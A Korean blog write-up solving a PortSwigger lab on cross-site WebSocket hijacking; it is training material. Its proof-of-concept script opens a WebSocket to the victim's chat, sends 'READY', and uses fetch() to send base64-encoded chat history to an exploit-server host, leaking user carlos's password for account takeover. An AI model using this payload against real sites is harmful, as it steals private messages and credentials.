WEB hacking/PortSwigger

Lab: Cross-site WebSocket hijacking 문제 풀이(WriteUp)

Roronoa 2025. 6. 16. 19:08
반응형

문제 설명

크로스 사이트 웹소켓 하이재킹 공격을 통해 피해자의 채팅 기록을 유출한 다음 피해자의 계정을 탈취하면 문제가 해결된다.

문제 설명

문제 풀이

Live chat 페이지에 웹 소켓을 통한 채팅이 이루어진다.

Live chat 기능

 

Live chat 페이지 접근시 먼저 웹 소켓으로 READY를 전송하여 채팅 기록을 가져온다.

READY 데이터 전송을 통한 기존 채팅 기록 응답

 

POC

1. 피해자가 공격자 페이지 접근

2. 웹 소켓 연결이 성공할 경우 onopen 핸들러를 통해 READY 데이터 전송

3. 웹 소켓 onmessage 핸들러를 메시지가 수신될 경우 fetch 함수를 통해 기존 채팅 기록을 base64로 인코딩하여 유출

<script>
	var ws = new WebSocket('wss://0a2a003b041dfb3a8045b7ed003400f5.web-security-academy.net/chat');
	ws.onopen = function(event){
		ws.send("READY");
	}

	ws.onmessage = function(event) {
		fetch('https://exploit-0a400068044efbdf80b2b66101ef0052.exploit-server.net/exploit?data='+btoa(event.data))
	}
</script>

웹 소켓 하이재킹 POC

 

POC 전송 후 로그 확인 결과 base64로 인코딩된 데이터를 확인할 수 있다.

피해자 기존 채팅기록 데이터(base64 인코딩된 데이터) 확인

 

base64 디코딩하여 carlos의 비밀번호를 확인할 수 있다.

carlos 비밀번호 Leak

 

carlos 계정으로 로그인시 문제가 해결된다.

문제 해결

 

참고문헌

 

WebSocket을 이용하여 클라이언트 애플리케이션 작성하기 - Web API | MDN

WebSocket은 ws 프로토콜을 기반으로 클라이언트와 서버 사이에 지속적인 완전 양방향 연결 스트림을 만들어 주는 기술입니다. 일반적인 웹소켓 클라이언트는 사용자의 브라우저일 것이지만, 그렇

developer.mozilla.org

 

반응형